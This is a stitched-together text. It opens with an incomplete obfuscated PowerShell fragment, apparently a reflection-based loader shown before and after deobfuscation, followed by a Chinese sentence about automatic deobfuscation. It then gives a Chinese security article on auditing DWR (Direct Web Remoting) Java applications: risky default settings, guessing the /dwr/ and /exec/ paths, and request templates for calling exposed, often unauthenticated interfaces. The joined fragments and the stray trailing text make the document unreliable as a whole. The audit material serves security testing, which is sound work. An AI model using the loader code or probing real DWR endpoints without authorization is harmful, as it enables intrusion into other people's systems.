$MlHiT=[typE]("{5}{6}{4}{1}{2}{3}{0}"-F 'HAl','OpSe','R','vIcEs.mArs','R','syStEm.RunT','Ime.iNte');
&("{1}{0}" -f 'T','SE')
T2NGf ( [type]("{0}{2}{1}" -F 'IN','PTR','t')) ;
$j1v =[tyPe]("{0}{1}"-F 'Co','NveRt') ;
function iN`VokE`-r`F`BuxmE`HAEmZbhI
在自动去混淆之后，它就变成具有可读性的代码了：
$I7KUHX =[tYpe]("SysteM.RuNtiME.intEropseRvIces.mARshALAsATtrIbuTE" ) ;
&("sET-iTeM")
("VARIABLe:63Y") ([TYPe]("system.RUnTiME.inTEroPserViCes.unManaGeDtype" ) );
$7eq= [tyPe]("INT32" ) ;
&("sET" )
tIAfhC ([tyPE]("bOol" ) ) ;
&("sET-VARIaBLE" )
kM5l ( [tYPE]("UINt32" ) ) ;
$XD1h =[TYpE]("BItcoNVErtEr");
&("sET-Item")
("VARIABLe:63Y") ( [tYPE]("SYstEM.rEFLecTiOn.emIt.ASSEmBlYbUIlDEraCCeSs" )) ;
$eGj7 = [tyPe]("aPPDOmaiN" );
&("SeT-itEM" )
VAriablE:tg58U ( [TYpE]("sysTeM.REFLECtion.cALLingcOnvENtIoNS" ) );
&("SeT-iTEm" )
variablE:urYi12 ( [tYPE]("eNVIRONmENt" )) ;
$9hRwNy = [tYpE]("uIntptR") ;
&("SeT-item" )
("VARIABLe:63Y") ( [tyPe]("MATh" ) ) ;
$MlHiT=[typE]("syStEm.RunTIme.iNteROpSeRvIcEs.mArsHAl" );
&("SET" )
T2NGf ( [type]("INtPTR" )) ;
$j1v =[tyPe]("CoNveRt" ) ;
function iNVokE-rFBuxmEHAEmZbhI
这样一来，安全分析人员就可以轻松地分析和重构脚本，而不用为去混淆而劳心劳力了。 | 社区文章 |
> Author:jkgh006@敏信安全审计
## DWR框架简介
DWR是一个远程web调用框架，利用该框架使得Ajax开发变得简单。利用DWR可以在客户端使用JavaScript直接调用服务器端的Java方法，并返回值给JavaScript；就好像直接在本地客户端调用一样(DWR根据Java类来动态生成JavaScript代码)
参考链接：<http://directwebremoting.org/dwr/index.html>
## 前言
很多人私下问过我，如果现实审计中碰到dwr框架，应该怎么去构造payload，怎么根据流程分析出结果，所以这次我们只讲dwr在实际应用场景的审计和防御思路
## 默认配置&&安全
根据官网给出来的默认配置如下web.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app id="dwr">
<display-name>DWR (Direct Web Remoting)</display-name>
<description>A Simple Demo DWR</description>
<listener>
<listener-class>org.directwebremoting.servlet.DwrListener</listener-class>
</listener>
<servlet>
<servlet-name>dwr-invoker</servlet-name>
<display-name>DWR Servlet</display-name>
<description>Direct Web Remoter Servlet</description>
<servlet-class>org.directwebremoting.servlet.DwrServlet</servlet-class>
<init-param>
<param-name>fileUploadMaxBytes</param-name>
<param-value>25000</param-value>
</init-param>
<!-- This should NEVER be present in live -->
<init-param>
<param-name>debug</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>accessLogLevel</param-name>
<param-value>runtimeexception</param-value>
</init-param>
<!-- Remove this unless you want to use active reverse ajax -->
<init-param>
<param-name>activeReverseAjaxEnabled</param-name>
<param-value>true</param-value>
</init-param>
<!-- By default DWR creates application scope objects when they are first
used. This creates them when the app-server is started -->
<init-param>
<param-name>initApplicationScopeCreatorsAtStartup</param-name>
<param-value>true</param-value>
</init-param>
<!-- WARNING: allowing JSON-RPC connections bypasses much of the security
protection that DWR gives you. Take this out if security is important -->
<init-param>
<param-name>jsonRpcEnabled</param-name>
<param-value>true</param-value>
</init-param>
<!-- WARNING: allowing JSONP connections bypasses much of the security
protection that DWR gives you. Take this out if security is important -->
<init-param>
<param-name>jsonpEnabled</param-name>
<param-value>true</param-value>
</init-param>
<!-- data: URLs are good for small images, but are slower, and could OOM for
larger images. Leave this out (or keep 'false') for anything but small images -->
<init-param>
<param-name>preferDataUrlSchema</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dwr-invoker</servlet-name>
<url-pattern>/dwr/*</url-pattern>
</servlet-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
</web-app>
上面的配置效果，再加上程序开发者的拿来主义习惯，可能会产生两个大问题
1. 没有关闭debug
2. dwr的访问目录可被猜测，这里给出的/dwr/ (如果是给用户展示的部分本身就是一个dwr应用，那么就没有必要改写次路径，如果是给第三方调用类似webservice那种，就很有必要修改)，官方默认配置还有一个/exec/
以上两个组合访问效果如下：
里面的每一个接口都可以通过浏览器抓包获取，常规意识下这些第三方调用未授权的概率几乎可以达到百分之百
## DWR框架讲解
为了方便对dwr的每一种类型进行测试，我们简单的编写了一些测试类
#### 简单类型参数
首先看commontest目录下，这里我们主要对int和string参数进行测试
package com.example.dwr.commontest;
public class CommonParams {
public static String stringTest(String data) {
return data;
}
public static int inTest(int data) {
return data;
}
}
在dwr.xml中加入
<create javascript="commonparams" creator="new">
<param name="class" value="com.example.dwr.commontest.CommonParams" />
</create>
这样在js调用层我们可以通过/dwr/interface/commonparams.js的commonparams变量调用java层编写的函数
例如index.jsp:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>dwr common test</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="description" content="This is my page">
<script type='text/javascript' src='/dwr/engine.js'></script>
<script type='text/javascript' src='/dwr/util.js'></script>
<script type='text/javascript' src='/dwr/interface/commonparams.js'></script>
<script type="text/javascript">
function stringTest(){
commonparams.stringTest("abcd");
}
function integerTest(){
commonparams.inTest(1234);
}
</script>
</head>
<body>
<input type="button" name="stringTest" onclick="stringTest()" value="stringTest">
<input type="button" name="integerTest" onclick="integerTest()" value="integerTest">
</body>
</html>
访问效果和http包如下
根据上下文判断dwr框架写法其实有一定的规律
上面调用的stringTest方法，如果我们调用的是inTest，只需要改这几个地方，数据类型定义成为int即可
POST /dwr/call/plaincall/commonparams.inTest.dwr HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: text/plain
Referer: http://localhost:8080/
Content-Length: 212
Cookie: UM_distinctid=160cb8347c532e-02170ecaf6aeb-4c322f7c-1fa400-160cb8347c662d; CNZZDATA1261218610=1741751127-1515241945-%7C1515241945; JSESSIONID=DBEB32C68B89CE0D8815DB6ADF207376; DWRSESSIONID=J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m
X-Forwarded-For: 127.0.0.1
Connection: close
callCount=1
nextReverseAjaxIndex=0
c0-scriptName=commonparams
c0-methodName=inTest
c0-id=0
c0-param0=int:1234
batchId=0
instanceId=0
page=%2F
scriptSessionId=J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m/JZRRo9m-dCmbaYdn5
#### 数组类型参数
对array参数进行测试
package com.example.dwr.arraytest;
import org.apache.commons.lang.StringUtils;
public class ArrayParams {
public ArrayParams() {
}
public String iniArrayTest(int[] data) {
String template = "";
String tmp = "";
for(int i=0;i<data.length;i++) tmp = tmp+String.valueOf(data[i])+",";
template = template+"int array as:["+ tmp+"]";
return template;
}
public String strArrayTest(String[] data) {
String template = "";
String joinStr = StringUtils.join(data, ",");
template = template+"string array as:["+ joinStr+"]";
return template;
}
}
dwr.xml添加如下配置
<create javascript="arrayparams" creator="new">
<param name="class" value="com.example.dwr.arraytest.ArrayParams" />
</create>
例如arrtest.jsp:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>dwr arr test</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="description" content="This is my page">
<script type='text/javascript' src='/dwr/engine.js'></script>
<script type='text/javascript' src='/dwr/util.js'></script>
<script type='text/javascript' src='/dwr/interface/arrayparams.js'></script>
<script type="text/javascript">
function iniArrayTest(){
var a=[1,2,3,4];
arrayparams.iniArrayTest(a);
}
function strArrayTest(){
var a = ['a','b','c','d']
arrayparams.strArrayTest(a);
}
</script>
</head>
<body>
<input type="button" name="iniArrayTest" onclick="iniArrayTest()" value="iniArrayTest">
<input type="button" name="strArrayTest" onclick="strArrayTest()" value="strArrayTest">
</body>
</html>
访问和请求包如下：
post包的结构相对于普通类型是有所变化的，照猫画虎修改为strArrayTest函数
POST /dwr/call/plaincall/arrayparams.strArrayTest.dwr HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: text/plain
Referer: http://localhost:8080/arrtest.jsp
Content-Length: 351
Cookie: UM_distinctid=160cb8347c532e-02170ecaf6aeb-4c322f7c-1fa400-160cb8347c662d; CNZZDATA1261218610=1741751127-1515241945-%7C1515241945; JSESSIONID=6B9103592284CBB4A787F99E8C21DE4A; DWRSESSIONID=J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m
X-Forwarded-For: 127.0.0.1
Connection: close
callCount=1
nextReverseAjaxIndex=0
c0-scriptName=arrayparams
c0-methodName=strArrayTest
c0-id=0
c0-e1=string:a
c0-e2=string:b
c0-e3=string:c
c0-e4=string:d
c0-param0=array:[reference:c0-e1,reference:c0-e2,reference:c0-e3,reference:c0-e4]
batchId=1
instanceId=0
page=%2Farrtest.jsp
scriptSessionId=J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m/WNnUo9m-uxKcm4x0i
#### 对象类型参数
package com.example.dwr.objecttest;
public class ObjectTest {
public ObjectTest() {
}
public String addUser(UserBean user){
return "Name:"+user.getName();
}
}
上面可以看出来传递的是一个java的bean对象，代码简单编写如下
package com.example.dwr.objecttest;
public class UserBean {
public String getName() { return name; }
public void setName(String name) { this.name = name; }
private String name;
}
此时我们就要用到dwr中的convert，作用就是通过Bean Converter将javascript变量user转变成java的UserBean类型
dwr.xml添加如下配置：
<create javascript="objecttest" creator="new">
<param name="class" value="com.example.dwr.objecttest.ObjectTest"/>
</create>
<convert match="com.example.dwr.objecttest.UserBean" converter="bean"/>
objtest的内容编写如下：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>dwr obj test</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="description" content="This is my page">
<script type='text/javascript' src='/dwr/engine.js'></script>
<script type='text/javascript' src='/dwr/util.js'></script>
<script type='text/javascript' src='/dwr/interface/objecttest.js'></script>
<script type="text/javascript">
function objectTest(){
var user={name:"jkgh006"};
objecttest.addUser(user);
}
</script>
</head>
<body>
<input type="button" name="objectTest" onclick="objectTest()" value="objectTest">
</body>
</html>
访问和请求包如下：
post包的结构这时候就变得复杂了，但是分析程序，还是可以简单的编写包结构
POST /dwr/call/plaincall/objecttest.addUser.dwr HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: text/plain
Referer: http://localhost:8080/objtest.jsp
Content-Length: 271
Cookie: UM_distinctid=160cb8347c532e-02170ecaf6aeb-4c322f7c-1fa400-160cb8347c662d; CNZZDATA1261218610=1741751127-1515241945-%7C1515241945; JSESSIONID=14ED5B8693320646E08DD451F5F411D2; DWRSESSIONID=J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m
X-Forwarded-For: 127.0.0.1
Connection: close
callCount=1
nextReverseAjaxIndex=0
c0-scriptName=objecttest
c0-methodName=addUser
c0-id=0
c0-e1=string:jkgh006
c0-param0=Object_Object:{name:reference:c0-e1}
batchId=1
instanceId=0
page=%2Fobjtest.jsp
scriptSessionId=J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m/Y*v$o9m-3BE1kSgDb
#### 文件类型参数
package com.example.dwr.filetest;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.FilenameUtils;
import org.directwebremoting.WebContext;
import org.directwebremoting.WebContextFactory;
public class FileTest {
public String upload(InputStream inputStream, String fileName) throws IOException {
String tempFileName= FilenameUtils.getName(fileName);
String path=getRealPath("upload");
File file=new File(path+ File.separator+tempFileName);
FileUtils.copyInputStreamToFile(inputStream, file);
return file.getPath();
}
public String getRealPath(String dir){
WebContext context= WebContextFactory.get();
return context.getSession().getServletContext().getRealPath(dir);
}
}
dwr.xml添加如下配置：
<create javascript="filtest" creator="new">
<param name="class" value="com.example.dwr.filetest.FileTest" />
</create>
filetest的内容编写如下：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>dwr file test</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="description" content="This is my page">
<script type='text/javascript' src='/dwr/engine.js'></script>
<script type='text/javascript' src='/dwr/util.js'></script>
<script type='text/javascript' src='/dwr/interface/filtest.js'></script>
<script type="text/javascript">
function upload(){
var file=dwr.util.getValue("file");
filtest.upload(file,file.value,function(result){
alert(result);
});
}
</script>
</head>
<body>
<input type="file" id="file" name="file"><br/>
<button onclick="upload();">uploadtest</button>
</body>
</html>
访问和请求包如下：
根据构造的包可以看出来，只是转换成了formdata形式，其他的构造都跟正常的差不多
POST /dwr/call/htmlcall/filtest.upload.dwr HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------252533190231463
Content-Length: 1414
Referer: http://localhost:8080/filetest.jsp
Cookie: UM_distinctid=160cb8347c532e-02170ecaf6aeb-4c322f7c-1fa400-160cb8347c662d; CNZZDATA1261218610=1741751127-1515241945-%7C1515241945; JSESSIONID=F647906117B5319F3161C493B1C03F95; DWRSESSIONID=J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------252533190231463
Content-Disposition: form-data; name="callCount"
1
-----------------------------252533190231463
Content-Disposition: form-data; name="nextReverseAjaxIndex"
0
-----------------------------252533190231463
Content-Disposition: form-data; name="c0-scriptName"
filtest
-----------------------------252533190231463
Content-Disposition: form-data; name="c0-methodName"
upload
-----------------------------252533190231463
Content-Disposition: form-data; name="c0-id"
0
-----------------------------252533190231463
Content-Disposition: form-data; name="c0-param0"; filename="up.gif"
Content-Type: image/gif
1
-----------------------------252533190231463
Content-Disposition: form-data; name="c0-param1"
string:C%3A%5Cfakepath%5Cup.gif
-----------------------------252533190231463
Content-Disposition: form-data; name="batchId"
0
-----------------------------252533190231463
Content-Disposition: form-data; name="instanceId"
0
-----------------------------252533190231463
Content-Disposition: form-data; name="page"
%2Ffiletest.jsp
-----------------------------252533190231463
Content-Disposition: form-data; name="scriptSessionId"
J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m/52L6p9m-LLzEisz9f
-----------------------------252533190231463--
#### 综合类型参数
根据上面每种参数类型的单独举例，给出来一个包含除了文件外的所有参数的调用方式
package com.example.dwr.complextest;
import com.example.dwr.objecttest.UserBean;
import org.apache.commons.lang.StringUtils;
public class ComplexParams {
public ComplexParams() {
}
public String intAndStringAndArrayAndObjTest(int a, String b, int[] as, String[] bs,UserBean user,UserBean[] users) {
String template = "";
template = template+"int a:"+ String.valueOf(a)+"\n";
template = template+"string b:"+ String.valueOf(a)+"\n";
String tmp = "";
for(int i=0;i<as.length;i++) tmp = tmp+String.valueOf(as[i])+",";
template = template+"int array as:["+ tmp+"]\n";
String joinStr = StringUtils.join(bs, ",");
template = template+"string array as:["+ joinStr+"]\n";
return template;
}
}
上面已经存在参数嵌套了，不过没关系，不管多么复杂的参数结构，我们都可以构造出来
dwr.xml配置如下：
<create javascript="complexparams" creator="new">
<param name="class" value="com.example.dwr.complextest.ComplexParams" />
</create>
complextest的内容编写如下：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>dwr obj test</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="description" content="This is my page">
<script type='text/javascript' src='/dwr/engine.js'></script>
<script type='text/javascript' src='/dwr/util.js'></script>
<script type='text/javascript' src='/dwr/interface/complexparams.js'></script>
<script type="text/javascript">
function complexTest(){
var a = 1234;
var b = 'abcd';
var c = [1,2,3,4];
var d = ['a','b','c','d'];
var e ={name:"jkgh006"};
var f = [{name:"jkgh006"},{name:"jkgh007"},{name:"jkgh008"}]
complexparams.intAndStringAndArrayAndObjTest(a,b,c,d,e,f);
}
</script>
</head>
<body>
<input type="button" name="complexTest" onclick="complexTest()" value="complexTest">
</body>
</html>
查看到的构造包如下
请求后的构造包现在看起来就非常复杂了，但是构造思路在js里面还是比较清晰的，可以层层往下推
POST /dwr/call/plaincall/complexparams.intAndStringAndArrayAndObjTest.dwr HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: text/plain
Referer: http://localhost:8080/complextest.jsp
Content-Length: 899
Cookie: UM_distinctid=160cb8347c532e-02170ecaf6aeb-4c322f7c-1fa400-160cb8347c662d; CNZZDATA1261218610=1741751127-1515241945-%7C1515241945; JSESSIONID=0E19EB66E71E4439A5CFD4FAF253BB3B; DWRSESSIONID=J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m
X-Forwarded-For: 127.0.0.1
Connection: close
callCount=1
nextReverseAjaxIndex=0
c0-scriptName=complexparams
c0-methodName=intAndStringAndArrayAndObjTest
c0-id=0
c0-param0=number:1234
c0-param1=string:abcd
c0-e1=number:1
c0-e2=number:2
c0-e3=number:3
c0-e4=number:4
c0-param2=array:[reference:c0-e1,reference:c0-e2,reference:c0-e3,reference:c0-e4]
c0-e5=string:a
c0-e6=string:b
c0-e7=string:c
c0-e8=string:d
c0-param3=array:[reference:c0-e5,reference:c0-e6,reference:c0-e7,reference:c0-e8]
c0-e9=string:jkgh006
c0-param4=Object_Object:{name:reference:c0-e9}
c0-e11=string:jkgh006
c0-e10=Object_Object:{name:reference:c0-e11}
c0-e13=string:jkgh007
c0-e12=Object_Object:{name:reference:c0-e13}
c0-e15=string:jkgh008
c0-e14=Object_Object:{name:reference:c0-e15}
c0-param5=array:[reference:c0-e10,reference:c0-e12,reference:c0-e14]
batchId=0
instanceId=0
page=%2Fcomplextest.jsp
scriptSessionId=J2YAzcntFgQYepoW~g!fuZdxeAR6Qy4ho9m/uwpcp9m-VQn1SkeIe
#### 总结
1. 实际的网站发布debug模式是关闭状态，我们做黑盒测试就要去猜测两个默认目录,分别为/exec/和/dwr
2. 审计可以套用上面的请求包的模板，在你认为存在问题的地方构造java接口调用的请求数据包
3. 网站发布dwr接口，通常都是未授权调用，包含内容比较多，比如用户，管理等api接口
4. 如果参数构造有不确定因素，可以把对应的dwr接口空实现，然后转接到我们自己可以本地模拟的代码上面来 | 社区文章 |
Subsets and Splits